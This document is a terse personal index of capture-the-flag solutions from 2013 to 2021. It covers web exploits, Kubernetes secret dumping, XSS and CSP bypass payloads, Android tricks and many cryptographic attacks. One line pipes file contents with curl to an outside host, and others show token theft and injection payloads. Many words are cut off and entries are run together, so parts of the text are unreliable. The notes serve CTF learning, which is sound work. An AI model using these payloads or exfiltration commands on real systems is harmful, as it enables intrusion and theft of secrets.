drupal 8.5.0 disclosed at /core/install
vuln to C "Drupalgeddon2" rce
grab API token with TOKEN=$(< /var/run/secrets/kubernetes.io/ser/token) and fetch all the secrets from the API
with curl -k --header "Authorization: Bearer $TOKEN"
or privesc to root shell with kubctl get pods; kubectl cluster-info; kubectl exec -it <pod name> /bin/sh
then find base64-encoded flag in kubectl --token=$TOKEN get secrets --all-namespaces -o yaml
your note - union-ctf-2021
xs search using window.open because puppeteer uses --disable-popup-blocking
or ssrf the report bot to leak flag because ser ng if the search query is a match
headless chrome cannot handle download with Content-disposition: attachment and throws err
double check - union-ctf-2021
bypass nodejs decodeURIComponent() with -d 'p=1&p=%ff/NN/NN/NN/flag' -H 'Content-Type: text/plain'
because by default querystring.unescape tries to use built-in decodeURIComponent and
if it fails falls back to unescapeBuffer
which uses Int8Array so it can be o by using 'N' for example 3233 - union-ctf-2021
websocket chat based on e2ee, sniff chatting room using socket.io client then perform padding oracle attack to recover flag
static site -
xss and csp bypass $uri vuln to header injection
unicorn networks -
ssrf via 302 to access because axios 0.21.0 will not use squid proxy after a redirect
systeminformation vuln to command injection via ?name[]=$(ls) so exfil flag with curl -d "$(cat ./*)" me.com
online wallet -
part 1: json interoperability but many unintended solves via race
part 2: xss, list s3 bucket files and find deparam.js which converts parameters from location.search to an object
use ?lang= to import it and although object is instantiated without a prototype with Object.create(null)
it is vuln to prototype pollution because it supports arrays through which we can get to the object prototype
use jQuery gadget and automatically show tooltip by loading site in an iframe and updating src to #depositButton
nomnomnom - angstrom-ctf-2021
xss csp bypass on firefox markup to hijack valid nonce -> <script src="data:, .." x=<script nonce="5e..">
jason - angstrom-ctf-2021
jsonp bypass via csrf to Set-Cookie: endpoint to append ; secure; samesite=none to the bot's cookie
unintended: append ; domain=.actf.co and redirect bot to an xss stored on another challenge of the same domainreaction.py - angstrom-ctf-2021
xss over 2 payloads, start with <script>/* then finish xss with */ .. //
or use <SCRIPT src=/\zedD.info> or <SCRIPT src=//bit.ly\2Q5ZXW1>' and '</SCRIPT> to comment e out
jar & ekans - angstrom-ctf-2021
python pickle deserialisation
watered down watermark as a service - angstrom-ctf-2021
bson/bmp polyglot
or unintended lorem_ipsum - b01lers-ctf-2021
werkzeug in debug mode, read local files needed to reco pin
or read pin from the logs via LFI of stderr /proc/self/fd/2
</p></details>
<!-- }}} -->
<!-- }}} -->
mobile <!-- {{{ -->
<!-- 2013-2017 {{{ -->
<details><summary>2013-2017</summary><p>robot plans - hacklu-ctf-2013
md5s of lock pattern for android (gesture hashes)
or like in ctfx-2016/iTrash find gesture.key and follow state of the ART - 0ctf-2016
reconstruct Dal from OAT binary
ill intentions - google-ctf-2016
send broadcast intent to app, recei containing flag
instead of re jni lib, send broadcast using adb and patch app
or write custom app to receive and log reply
can also use Xposed hooks little bobby - google-ctf-2016
write apk to exploit blind sqli
secr3tmgr lock - insomnihack-ctf-2017
crack android lockscreen password from /data/system/password.key and de.xml
</p></details>
<!-- }}} -->
<!-- }}} -->
crypto <!-- {{{ -->
<!-- 2012-2014 {{{ -->
<details><summary>2012-2014</summary><p>poli-ctf-2012
ECC / ECDLP on anomalous curve
rsa - pico-ctf-2013
p, q, e and c provided
use gmpy2 to decrypt ciphertext
BREW'r'Y - hacklu-ctf-2013
graphs hamilton
ECKA - hacklu-ctf-2013
elliptic curve key agreement and diffie-hellman key exchange
fluxarchi
home-made archive with scrambled pw (part1)
find rc4-encrypted flag (part2) one team recontructed the keystream by using 2 encrypted
archives that have the same contentgeier's lambda - hacklu-ctf-2013
xTea cipher
easy to find a collision because cipher only used first 4 chars of the keymaving is plain-Jane - hacklu-ctf-2013
Menezes-, elliptic curve
if you know one part of the plain text, you are able to calculate the other onecryptomatv2 - csaw-ctf-2013
sqli
we can recover the IV that the webapp uses for aes-128-cbc because we can use the app to encrypt
a message with our key and download the ciphertext
encrypt a plaintext "abcdabcdabcdabcdabcdabcdabcdabcd" with a key "abcdabcdabcdabcd" via the webapp
returned ciphertext: mq8jyy5npsr3t1DR/33B4ZlY304+NOCGLXGp7stWcKk=
decrypt it with key "abcd" and a zero I us the plaintext: Y Q"S30PYR4]XZ- abcdabcdabcd
XOR the first 16 bytes with "abcdabcdabcdabcd" gives the I
csawpad - csaw-ctf-2013
stream cipher, same pad was used for all the ciphertexts (i.e. not a one-time pad at all!)
guess the pad by trying to decrypt the first byte of each known ciphertext with 0-255 and
discard candidate when decrypted byte not in charset
then bruteforce the rest of the pad
otp - 31c3-ctf-2014
meet in the middle to forge valid otp
precompute 3-byte hashes bytes and try to find a match when creating 4 byte hashes
sso - 31c3-ctf-2014
forge cookie because stream cipher without random iv
hwaes - 31c3-ctf-2014
aes key expansion
we provide an aes key, ser our data, then changes the aes key
we can recover the original master from the derived key
simple login - secuinside-ctf-quals-2014
hash length extension with crc32archaic - asis-ctf-quals-2014
break merkle-hellman cryptosystem using LLL lattice reduction algo
decrypt-img - boston-key-party-2014
bmp encrypted with 56-byte key
bmp header is 54-byte so we can recover the key by xoring the first 54 bytes of the encrypted bmp
xorxes - boston-key-party-2014
hash collision due to using xor and bit shifting
mitm_ii - boston-key-party-2014
mitm attack with pubkey exchangedifferential power - boston-key-party-2014
tea cipher
used z3 to recover key
psifer_school - csaw-ctf-2014
caesar, scytale and crypto100 - confidence-ctf-teaser-2014
lotto with big bias on code (random salt) so we can map numbers to round uuids and
only play when we can win for surecrypt400 - defkthon-ctf-2014
sol maths using fermat's little theorem
pillowtalk - ghost-in-the-shellcode-2014
keystream reuse (stream cipher)
wiener - hacklu-ctf-2014
rsa wiener
douchemac - hacklu-ctf-2014
dbus and bypass CBC-MAC hmac authentication
peace pipe - hacklu-ctf-2014
mitm with pubkey' = -pubkey % p
cryptonet - hackyou-2014
we have a lot of flags encrypted with the same e=17, but with different modulos
encflag1 = (flag^17) % n1, encflag2 = (flag^17) % n2, etc. we can find flag^17 using the CRT
and recover flag by calculating its 17th root
easy one - hackyou-2014
crypto maison
recover key because we ha & ciphertext
hashme - hackyou-2014
recover key via xor(plaintext, ciphertext), hash length extension and parameter pollution
matrix - hackyou-2014
4x4 matrix encryption system
re using inverse matrixes
we can recover key K because:
E = P * K then P.I * E = P.I * P * K so K = P.I * E (P.I is the inverse of P)
encrypted file is a WM, so we can use the 16-byte magic number to recover the key
mic - olympic-ctf-2014
chinese remainder
we send to ser p and base g
ser pow(g*flag, flag, p) * flag + flag mod p
we can get rid of powered flag by sending p-g
mars - phd-ctf-quals-2014
client sends n1 to server
ser n2 to client
client sends c1 to server
ser c2 to client
gcd = egcd(n1, n2)[0]
p = n1 / gcd
p2 = n2 / gcd
lets assume plaintext message m is a number < p (i.e. it was not padded)
so pow(m, e, n) % p == pow(m, e, p) and d = invmod(e, phy(p)) and p is prime so phy(p) == p-1
we recover d = invmod(0x010001, p-1) and m = pow(c, d, p)
wheeeee - plaid-ctf-2014
encryption oracle, slide attack
slide attack: tls - ructf-2014-quals
decrypt tls because client uses non-random number generator (always returns 1337)
we recover the client secret exponent from diffie-hellman key exchange
we compute Pre-Master Secret and then the Master Secret as PRF for wireshark
crypto100 -
ciphertext is a big number, we have an encryption oracle, each letter is assigned a number and
an exponent depending on its position
they are all multiplied together to produce the ciphertext
need to factorize the ciphertext to find which letters were used
another one - nuitduhack-ctf-quals-2014
encrypted bmp in ecb mode, assume all identical 16-byte blocks are white pixels, anything else
is black pixels
twenty - plaid-ctf-2014
cracked using hill climbingrsa - plaid-ctf-2014
partially masked RSA private key (paper/tools can recover it as long as 27% of bits are known)
parlor - plaid-ctf-2014
md5 hash length extension attack
rsaha - hitcon-ctf-2014
Franklin-Reiter Related Message attack
the 2 plaintexts only differ by a known fixed difference allowing their ciphertext to be decrypted
ser: n, m^3 % n and (m+1)^3 % n
we can recover m with: ((m+1)^3 + 2*m^3 - 1) / ((m+1)^3 - m^3 + 2) = m mod n
f = (m+1)^3 + 2*m^3 - 1 % n
g = (m+1)^3 - m^3 + 2 % n
m = (f * gmpy.invert(g, n)) % n
<ricky> You're given m^3 and (m+1)^3 = m^3 + 3m^2 + 3m + 1
<ricky> From this you can compute m^2 + m + 1
<ricky> m^3 - 1 = (m - 1)(m^2 + m + 1)emdee - olympic-ctf-2014
md5(salt + input + timestamp)
%7f deletes previous salt chars so we can recover salt
rsa-mistakes-200 - pico-ctf-2014
two messages related to each other (i.e. ha the same
content (specifically content := unique-prefix + flag) , encrypted by the same public key
block - pico-ctf-2014
meet in the middle to recover the 2 keys used in a substituion-permutation cryptosystem
substitution - pico-ctf-2014
break substitution cipher
revenge - pico-ctf-2014
forge rsa signature
ecc - pico-ctf-2014
y^2 = x^3 + a(x) + b mod n
we have C (X, Y), a, and n but not b
we recover b then decrypt C
related - ructf-2014-quals
Franklin-Reiter Related Message attack
we have c1 and c2 (m1 = m.'Jane', m2 = m.'Alex')
m^e - c1 = 0 mod n and (m+delta)^e - c2 = 0 mod n with delta=s2int("Jane")-s2int("Alex") and def s2int(x): int(x.encode("hex"), 16)
get gcd(m^e - c1, (m+delta)^e - c2) => x-d1 (x=(m+delta) and d1 is a decrypted c1)decrypt it - seccon-ctf-2014
encrypted file is xored with rand() seeded with the file's timestamp
then rabin asymetric cryptosystem
2 solutions: bruteforce or Chinese remainder theoremwtc rsa bbq - tinyctf-2014
twin primes, modulus very close to a power of 2
we can start factoring from the square root of the modulus
<!-- }}} -->
<!-- 2015 {{{ -->
</p></details><details><summary>2015</summary><p>
old cryptography - 0ctf-2015
poly-alphabetic substitution with a non-uniform shift
rsaquine - 0ctf-2015
rsa chinese-reminder nopadding msieve
need to find m so m^e = m % p and m^e = m % q
and m^(e - 1) = 1 % p (same applies for q hereafter)
we find g a generator so g^k != 1 % p for 0<k<p-1
and g^(k*(p-1)) = 1 % p for all k>=0
for each m with 0<m<p there exists a x so that m = g^x % p
so we need to find x such that g^(x*(e-1)) = 1 % p
the solutions are solutions of the equation k*(p-1) = x*(e-1)
rsasr - asis-finals-ctf-2015
emirp, sqrt(N) has 155 digits so we need to figure out 77 digits on each side
honeywwall - asis-finals-ctf-2015
egcd, we have c = msg_0^e %N_0 and c2 = msg_0^e2 % N_0 (flag is msg_0)
we find x and y such that xe + ye2 = 1
we reco with c^x * c2^y % N_0
because msg_0^(xe) * msg_0^(ye2) % N_0 = msg_0^(xe+ye2) % N_0 = msg_0 % N_0 = msg_0
giloph - asis-finals-ctf-2015
diffie-hellman with pohlig-hellman attack due to smooth p-1 that can be factored into small factors
sed - asis-finals-ctf-2015
DES with 10 different keys Ek10=keys10) = plain
angler - asis-quals-ctf-2015
simple permutation cipher with a key of 13
falsecrypt - asis-quals-ctf-2015
NTRU publickey cryptosystem that cant be broken by Shor's algorithm
golden metal - asis-quals-ctf-2015
Goldwasser-Micali cryptosystem solved with msie
cross check - asis-quals-ctf-2015
p very close from q, use fermat to reco
a = fermat(N, N1, N2) with N = N1 * N2 = p1*q1*p2*q2
then p1 = gcd(N1, a) and q1 = N1 / p1
rsanne - backdoor-ctf-2015
modulus consists of 2281 1s followed by 2203 0s, allowing factorization: (2^2281 - 1)(2^2203 - 1)rsalot - backdoor-ctf-2015
100 public keys and an RSA-encrypted flag file
two keys must have a moduli n with a common prime factor (can be p or q but it was p in this task)
we find the two keys where n1 = p*q1 and n2 = p*q2 (or n1 = p1*q or n2 = p2*q)
we can then easily factor n1 and n2 by calculating the gcd of n1 and n2: gcd(n1, n2) = p (see gcd.py)
then use rsatool.py -p .. -q .. -o private.pem and openssl rsautl ...weak_enc - bctf-2015
lzm compression before encryption = side-channel attack
ser our input as lzm(salt||$input), we can deduce chars in salt by looking at length of ciphertext
first submit empty empty input to have the length of compressed salt
then submit every bigrams to server to find what bigrams are in salt, then do same for trigrams, quadgrams etc. until the first n-gram doesnt yield any new info
once we have a set of n-grams comprising the salt, we try every combination offline to match the null ciphertext
once we ha salt, we decrypt target ciphertext by constructing a reverse LSW dictionary
warmup - bctf-2015
rsa wiener
wood island - boston-key-party-2015
el gamal signature, provided sigs with r reused we can reco key
had also an unintended way
server used the python json library to decode the string into a dict and the
is_duplicate() check was a simple “user_dict in list” so adding a field to the
json was enough to pass the check.orient heights - boston-key-party-2015
same as wood island is_duplicate() just compared the binary ASN1 encoding; so
again adding a field caused it to fail
wonderland - boston-key-party-2015
elliptic cur logarithm problem sol a twist attack on a Montgomery ladder
and apply Chinese Remainder Theorem to recover the key
the actual attack, then, uses a of Pollard's Rho algorithm to compute the discrete logarithms
bowdoin - boston-key-party-2015
partially masked RSA private key (partial p & q)
airport - boston-key-party-2015
timing oracle, modular exponentiation, square-and-multiply
good crypto - codegate-ctf-2015
flag is the passphrase that was con into the wep key
wep uses a LCG (linear congruental generator) prng, seed is generated from the passphrase
and the wep key is generated by using the 3rd byte of the 5 first numbers from the lcg prng
rsaq - pragyan-ctf-2016
same as rsalot but q is the common prime factorhaunted 1's - pragyan-ctf-2015
ciphertext only consists of 0s or digits in the 2-9 range
replace e that is not 0 with 1, binary becomes asciisubstitution - pragyan-ctf-2015
we are given the start of the key ("prgyan"), decipher msg with:
'dhkuagsn'.translate(string.maketrans("prgyanbcdefhijklmoqstuvwxz", "abcdefghijklmnopqrstuvwxyz"))weak rsa - pragyan-ctf-2015
twin primes, pubkey can be factorized using fermats -> p & q recovered
rsatool.py takes p & q to create pri.pem
openssl rsautl -in ct.bin -inkey pri.pem -decrypt -raw to decrypt messagesubstitution - breakin-ctf-2015
ts-sci-nz - bsides-
keypad cipher
salt - hacklu-ctf-2015
Box NaCl using Cur, Poly1305 (for signing) and XSalsa20 (for encrypting) which is simple XOR
we recover text with (text XOR key) XOR (known_text XOR key) XOR (known_text) => text XOR (known_text XOR known_text) XOR (key XOR key) => text XOR 1 XOR 1 => text
id love to turn you on - hackcon-2015
decrypt using online enigma machine
rsabin - hitcon-ctf-quals-2015
flag size bigger than modulus, we need to bruteforce 22 lost bits (feasible because flag only contains printable chars)
exponent is not in so we use the pseudoinverse and the Eli Bendersky's modular_sqrt function to compute 16th roots of c**d
poooooooow - hitcon-ctf-quals-2015
submit x to server with 0<x<p, ser x^flag % p
best algo to compute discrete logarithm in a group requires more than O(sqrt(q)) time where q is the largest prime factor of the order of the base number
here it would be too slow because
p-1 = 2 * 3^336 * q (with q = 475...41 way too big)
but 2 is a primitive root modulo p, so x = 2^q has order 2*3^336 which is long enough for the flag (which is 50 characters) and only has small prime factors
so we send x = 2^q to server, ser y and we can solve with Sage:
p, y = .., ..
x = 2**q
print 'flag is:', long_to_bytes(discrete_log(Mod(y, p), Mod(x, p)))simple - hitcon-ctf-quals-2015
aes cfb forge {"admin":true} by xoring first encrypted block with known plaintext: '{"username":"b",' and discard the other blocks
)/ agents - icectf-2015
rsa broadcast attack but with plaintext bigger than any agent's modulus
need to gather more keys and ciphertexts to have CRT recover the plaintext
alicegame - mma-ctf-2015
elgamal encryption service
ser c1 = g^h % p and c2 = m * h^r % p so we send m=1 and r=1 to recover g and h then send m=-1 and r=1 to recover p because c2 = p - h
poll service untill we get a smooth p-1 so we can compute the discrete log
LCGSign - mma-ctf-2015
two messages signed using DSA related to each other because the secret "random" was generated by a linear-congruential RNG (LCG)
signer and - mma-ctf-2015
forge RSA signature because modular exponentiation distributes o multiplication
server has 2 endpoints: signer and
we need to send the signature of the given msg to the to get flag
we cannot just ask the signer to sign the given msg ob
so we send send msg/divisor to signer to get sig0 and we send divisor to signer to get sig1
and we now ha the valid signature: sig0 * sig1 % n
motto-mijkai-address - mma-ctf-2015
exploit linearity of CRC: CRC(a^b^c) = CRC(a) ^ CRC(b) ^ CRC(c)
exploit polynomial of HMAC
curious - plaid-ctf-2015
rsa wiener
strength - plaid-ctf-2015
egcd, we have (N, e1, c1) and (N, e2, c2) such that gcd(e1, e2) = 1 then we can do egcd(e1, e2) = a1e1 + a2e2 = 1.
c1^a1 * c2^a2 = (m^e1)^a1 * (m^e2)^a2 = m^(e1a1) * m^(e2a2) = m^(e1a1 + e2a2) = m^1 = m (all mod N)
in this case a2 is negative so we have to find the modular multiplicati of the corresponding
ciphertext c2 and calculate b = (gcd(e1, e2)-(a*e1))/e2 so we can calculate c1^a1 * modinv(c2, N)^(-b) % N = m
lazy - plaid-ctf-2015
Merkle-Hallman knapsack cryptosystem
use lattice and using LLL reduction
crib drag - sCTF-2015
one time pad used more than once (i.e. to encrypt 2 or more plaintexts)
we can recover the plaintexts without knowing the key using the crib drab methodcrypto150 - tum-ctf-teaser-2015
huge RSA private key (d has over four million bits)
we can determine the factors of n given a pair (e, d) using Dan Boneh’s paper ()
cpkc -
LLL-based attack on NTRUEncrypt-like cryptosystem
we need to find small , so we solve this using LLL algorithm
lcg -
recover 3 successi to clone the LCG PRNG
LCGs aren't cryptographically secure PRNGs as the internal states and the initial state can be easily recovered from a series of 3 successi
we can see encrypt is a stream cipher that xors the plaintext with the
continuous output of the LCG PRNG which is seeded with a randomly generated
768-bit key. Both the challenge name and the fact that each PRNG state is
defined as state[i+1] = (a*state[i] + b) mod m indicate that the PRNG is a
linear congruential generator.
rsa -
rsa wiener (huge public exponent may mean small private exponent)
<!-- }}} -->
<!-- 2016 {{{ -->
</p></details><details><summary>2016</summary><p>
collision course - backdoor-ctf-2016
solård-like hashing structure : test all x so that B0 == H(x) << 7
then take the next block and solve (H(x) ^ B0) << 7 and so on
forge - backdoor-ctf-2016
part1: crc32 collisions, submit 5 pngs with identical pixels and the same crc32 as the provided png
part2: md5 collisions, submit 8 files having the same MD5. Use fastcol
baby - backdoor-ctf-2016
Bleicherbacher e=3 RSA attack against signature
crc - backdoor-ctf-2016
many encrypted zip files that uncompress to 5 byte files
we can brute force each file contents because ZIPs contain CRC32 of their uncompressed files
mindblown - backdoor-ctf-2016
PBKDF2 + HMAC collision
le - eff-ctf-2016
one letter is "encrypted" into 4 numbers but the sum of all 4 numbers is always the same valuele - eff-ctf-2016
rsa public exponent very small (3)
see small-exponent.pytri - nullcon-hackim-2016
Bill's Cipher (funky substituion cipher for kids) "Gravity Falls"crypto1 - nullcon-hackim-2016
gi and cleartext, XOR both to get key and decrypt another ciphertextcrypto5 - nullcon-hackim-2016
gi public RSA keys and a ciphertext, python script
interestingly, the ciphertext was encrypted using the private key
in RSA, either key in a keypair can be used as the private or public componentrail fence - su-ctf-2016
see break_transposition_railfence.pyzeus - su-ctf-2016
encoding with hamming code and interleaved with helical scan matrix
british elevator - su-ctf-2016
elliptic curves
crypto pirat - internetwache-ctf-2016
each symbol maps to a planet number -> German Stasi TAPIR decoding -> morse code
oh bob - internetwache-ctf-2016
3 small pubkeys (228 bit) we can factor egcd (or yafu)
- pragyan-ctf-2016
flag.txt: loi wtnk az cyhimzm8kka12mo ()
found key using the "tabula recta" ()
loi wtnk az cyhimzm8kka12mo ()
the flag is
SHE RINE SH
key was "SHERINE" and can be used to decrypt the resta number's game - internetwache-ctf-2016
use sympy to solits prime time - internetwache-ctf-2016
provided a number, find next prime (sympy works)hashdesigner - internetwache-ctf-2016
find collision for custom hasheso-tape - internetwache-ctf-2016
implement an interpreter for the TapeBagel esoteric languagehmac crc - boston-key-party-2016
rewrite inner CRC as a polynomial mod CRC_POLY so we can rewrite HMAC as a polynomial
atl solution: hmac is linear
when we flip one bit in key, all bits of the output depending on this bit also flip with no matter of other bits in key
use gauss-jordan algorithm to compute which bits in key need to flip if I want flip one bit in signature at gi
des ofb - boston-key-party-2016
des in stream cipher mode with a weak key == keystream repetitionbobs hat - boston-key-party-2016
l1: rsa with p and q similar -> easy to factor 1024 modulus
l2: 2 moduli with a common factor
l3: q is small so we can easily factorize the modulus
l4: wiener attack (huge exponent)ltseorg - boston-key-party-2016
groestel hash collision
quick win with 00 turning into padding ()
expected solution: more like zkp - boston-key-party-2016
graph 3-coloring
equation - 0ctf-2016
reco a partially masked RSA private key
rsa? - 0ctf-2016
modulus factored into 3 primes
solve with gauss and wolframalpha and crt
special rsa - bctf-2016
not rsa (it's the secret k that is powed, not m). We can recover k with egcd
c = k^r * m mod N (we know c, r, m and N and we have 2 plaintexts and 2 ciphertexts with the same k)
c1 = k^r1 * m1 mod N and c2 = k^r2 * m2 mod N
k^r1 = c1 * m1^-1 mod N, k^r2 = c2 * m2^-1 mod N
egcd(r1, r2) returns g, a, b with (a * r1) + (b * r2) == 1
(k^r1)^a * (k^r2)^b = k^(a*r1 + b*r2) = k^1 = k
(sage script)one one zero - camctf-2016
weak public key (330 bit) found on factordb.com
chunks too small to be decrypted with openssl rsautl, so wrote decrypt-rsa.pyxxy -
breaking Goldreich-Goldwasser-Hale encryption
rabit - plaid-ctf-2016
parity oracle - exploit least significant bit oracle using binary-search
in malleable cryptosystems (like RSA or Rabin), the property exists:
c = m^e % N
y = x^e % N
c' = (c*y) % N = (m^e % N)*(x^e % N) % N = (m^e * x^e) % N = (m*x)^e % N
so we can arbitrarily multiply the plaintext, with Rabin if we multiply ciphertext by 4 we multiply plaintext by 2
we send 4*CT (sqrt_mod(4*CT, N) = sqrt_mod(4, N)*sqrt_mod(CT, N) = 2*PT mod N), if lsb == 0 then 2*PT < N otherwise 2*PT > N
sexec - plaid-ctf-2016
attacking a small instance of Ring-LWE based cryptosystem with Babai’s Nearest algorithm
radioactive - plaid-ctf-2016
fault attack on RSA signature (not RSA-CRT)
tonnerre - plaid-ctf-2016
break SRP secret fixation (g^2)
spotted wobbegong - google-ctf-2016
rsa pkcs1.5 padding oracle
woodman - google-ctf-2016
PRNG consisting of two LCG combined with xor.
rsacalc - google-ctf-2016
service supports basic arithmetic calculations modulo N
recover N via 1/2 * 2 - 1 => N
disco used is pkcs1.5 and exponent is 65537
service supports sqrt, recover a prime factor via gcd(A-a', N) where A=a^2 % N with a=rand(2, N-1) and a'=sqrt(A) % N
little crypto gambler - ctfx-2016
pseudorandom numbers generated using a Linear Congruential Generator
several fast ways to crack them based on only a few outputs
one way can be found here:
bet 1 ~7 times and calculate the LCG parameters, then calculate the next number and bet e
twin primes - tokyo-western-ctf-2016
flag encrypted with 2 keys. key1 with modulus p*q. key2 with modulus (p+2)*(q+2)
or use sympy to automatically sol (related-moduli.py)dam - asis-ctf-2016
generalized of the Pallier cryptosystem: the Damgard–Jurik cryptosystem
hoping ser a key with a small prime factor
secuprim - asis-ctf-2016
we need to provide the number of primes and perfect powers in a gi
ranges are small so we can just iterate and use gmpy2.is_prime and gmpy2.is_power
only9 - asis-ctf-2016
encryption oracle with sbox + matrix and a 9 round key schedule
solve with square attack:
Pick an index i and 256 plaintexts P_k that all differ in byte i, but coincide
in all indexes j != i. Then after 8 rounds, the i-th byte of the XOR of all
ciphertexts C_k of P_k is 0. We can use this to mount a square attack
The final ciphers after 9 rounds are C'_k = M*(SBOX(C_k)) ^ K where K is the
last round key. This can be rewritten as C_k = SBOX^-1((M^-1 * C'_k) ^ (M^-1 * K))
We can use the characteristic from above to brute force the i-th byte of
M^-1 * K. Do this for all i to get K completely. Then reconstruct the original
key from it by re the key schedule.
races - asis-ctf-2016
combination of ECC and RSA (ECRSA)
flag encrypted with a lot of public keys, use gmpy2 to find two public rsa keys that share the same prime and factor them
decrypt flag using the provided multiply function (implements Montgomery Ladder Scalar Multiplication on Elliptic Curve)
srpp - asis-ctf-2016
bypass SRP with A = 2*N
dsa - asis-ctf-2016
reco key because k = (1..1024)*magic (only 1024 ks can possibly be generated)
broken box - csaw-ctf-2016
fault attack on textbook RSA signing (not RSA-CRT)
decryption oracle sometimes gi signatures (m^d) for the same m
we see that the different signatures match the size of the modulus in bits
so maybe the ser flips one single bit of the secret exponent d
therefore we get badsig == m^(d (xor) 2^k) % N == m^(d - 2^k) % N
we can test every k because there are only 1024 possible
if k'th bit in d was 1 and was flipped to 0, then d = d - 2^k so pow(m, d - 2^k) == pow(m, d) / pow(m, 2^k) (mod k)
if k'th bit in d was 0 and was flipped to 1, then d = d + 2^k so pow(m, d + 2^k) == pow(m, d) * pow(m, 2^k) (mod k)
part2: faults only in the 300 least significant bits of d
but there is a theorem stating that we need only n/4 of the LSB bits to recover full d, as long as e is reasonably small
we use LLL-based attack when more than quarter of the secret exponent bits are known
after finding 300 least significant bits of p, we can use Coppersmith method for finding small roots of polynomials modulo p
handmade - h4ckit-ctf-2016
custom Rijndael with 3 elements of the SBox where swapped around
we ha + key, use c++ prog to bruteforce SBox and SInvBox to recover flag (5M possibilities)
cornelius - hack.lu-ctf-2016
zlib compression before encryption allows to leak flag (CRIME)
redacted - hack.lu-ctf-2016
reco RSA key from redacted ASN.1
cryptolocker - hack.lu-ctf-2016
4-rounds of encryption but pads plaintext so we can recover the password 2 bytes at a time
by attempting to decrypt the ciphertext once and checking if the padding is valid
ish - hacko
challenge-response where client and ser common key k
client sends a random nonce r1 to the server so the server can send back enc(r1, k)
server then sends a random nonce r2 to the client so the client can send enc(r2, k)
we dont have k but we can auth by having 2 clients running in parallel and make the server do all the work
guessr - hacko
truncated linear congruential generator
given a starting seed x, next value is computed as x = ax + b (mod m) then the outputted value is y = (x (mod 100)) + 1
sample a few (the RNG will not re-seed if we are wrong then generate the whole sequence and check for matches
lets decrypt - hitcon-ctf-quals-2016
ser user input using AES CBC with key=IV ans the flag is the key
and rizzomatwin primes - mma-ctf-2016
two rsa keys with: n1 = pq and n2=(p+2)(q+2) => pq + 2p + 2q + 4
n2 - n1 = 2p + 2q + 4 => let s = (n2 - n1 - 4)/2 = p + q
q = (s - p)
n1 = p(s-p) = ps - p^2
p^2 - sp + n1 = 0 => p = (s + gmpy2.isqrt(-s*-s-4*1*n1))/2
or use from sympy: from sympy import *; from sympy.solvers import solve; p, q = solve([Eq(p*q, n1), Eq((p+2) * (q+2), n2)], [p, q])[0]
esper - mma-ctf-2016
server can encrypt or decrypt user input
recover N with pgcd(c1 - 2^65537, c2 - 3^65537) = N
recover q with pgcd(N, (h1-h2)*q) = q
pinhole attack - mma-ctf-2016
RSA decryption oracle leaking 2 consecutive bits in the middle
backdoored crypto system - mma-ctf-2016
reco AES key from partial subkey leaks
lsb oracle - sharif-ctf-2016
oracle gives the least significant bit of the decryption of a ciphertext
multiply the ciphertext by 2^e, essentially doubling the plaintext.
With the bit from the LSB oracle, we can now decide if the plaintext would have been reduced modulo N, when multiplied with 2. If it was not reduced, the LSB is 0, since it is an e.
If it is 1, then the e got reduced modulo N, giving an odd number.
Therfore we can now say if P is less or greater than N/2. We can now repeat this process for 2P,4P,8P.. further constricting P, until we got the correct value for P
financial transaction - tjctf-2016
brute force Enigma encryption
secure transmission - tu-ctf-2016
break diffie hellman key exchange because a small group was used
secure auth - tu-ctf-2016
rsa signing oracle, submit signature for m to get flag (server will sign anything but m)
1^d => 1 so ser use padding (textbook rsa)
first recover N with gcd(c1^e - 2, c2^e - 3) with e=65535
then obtain signature for m*2 and 2^-1 and produce forged signature via (m*2)^d * (2-1)^d => m^d
hashnbake - tu-ctf-2016
keyed hash function (hmac) using 64-bit crc function
hiecss - tum-ctf-2016
forge ecc signature
tacos - tum-ctf-2016
bypassing Fermat primality test with Carmichael numbers and solving discrete logarithm using Pohlig-Hellman algorithm
ndis - tum-ctf-2016
attacking nonce-repeating TLS ser AES-GCM cipher.
shaman - tum-ctf-2016
hash length extension, manipulation of secret shares
<!-- }}} -->
<!-- 2017 {{{ -->
</p></details><details><summary>2017</summary><p>
multi party computation - boston-key-party-2017
paillier cryptosystem
sponge - boston-key-party-2017
meet in the middle to find collision for a custom hash using AES
paillier service - easy-ctf-2017
easy Paillier Cryptosystem challenge
curved -
ecdsa reused nonce
encrypted shell - pico-ctf-2017
Pollard's Kangaroo Algorithm and sage to break diffie hellman
alice, bob and rob - asis-ctf-quals-2017
McElice PKC
eula - uiuctf-2017
Bleichenbacher’s signature forgery on e=3 and PKCS#1 v1.5
papaRSA - uictf-2017
e=5, solve with Coppersmith's method, which uses the Lenstra–Lenstra–Lovász lattice basis reduction algorithm (LLL)
ranshomware - sctf-2017
aes-ctr with reuse IV
rsa ctf challenge - google-ctf-2017
Bleichenbacher's signature forgery on e=3 and PKCS#1 v1.5
solve with Filippo C technique
lucky consecuti - poli-ctf-2017
fixed lcg with partial output
classic linear congruential generator, where the current random number is not the full state, but just the 32 most significant bits.
splyt - poli-ctf-2017
Shamir Secret Sharing Scheme
secret split into N shares so that at least T shares are needed to reconstruct the secret
specifically, each character in the secret (in this case our flag) is being splitted into N shares
mprsa - ctfzone-2017
rsa wiener
hack in the card - hitb-ctf-singapore-2017
recover RSA private key from of the resistor during the decrypt process using this smart card
then factorize modulus N using recovered d
prime - hitb-ctf-singapore-2017
calculate number of primes + number of squares of primes, less than 10^16
chinese satellite - h4ckit-ctf-2017
quantum key exchange
4 messages - h4ckit-ctf-2017
break playfair cipher given 4 ciphertexts of a plaintext that starts with known string
liar's trap - mma-ctf-2017
flag divided into N=100 pieces Shamir secret sharing so i can be recovered given at least K=25 pieces but L=38 pieces have been corrupted
use Reed-Solomon error-correcting codes
babypinhole - mma-ctf-2017
we have a Paillier cryptosystem. We are given a decryption oracle, which leaks only one bit in the middle of the plaintext
due to homomorphic properties of the Paillier cryptosystem, we can recover the full decryption using such an oracle
bad aes - sect-ctf-2017
aes with custom sbox missing last 16 bytes (patch pyaes to try all permutations)
madlog - sect-ctf-2017
discrete logarithm with e containing lots of zeros, solve with baby-step giant-step
gracias - asis-ctf-2017
Small Secret Exponent Attack against Multi-Prime RSA
using Boneh-Durfee
using Wienerextends me - backdoor-ctf-2017
hash length extension with SLHA1 a of SHA1
stereotype - backdoor-ctf-2017
we are given a ciphertext and the plaintext but with the last chars of flag changed to X
replace every X to null-bytes and apply Coppersmith Attack
asymetric encryption - pwn2win-ctf-2017
ser public params for ElGamal, RSA and Paillier cryptosystems, but the params are small
use baby-step-giant-step to compute the discrete log for ElGamal, yafu to factor modulus for RSA and Paillier
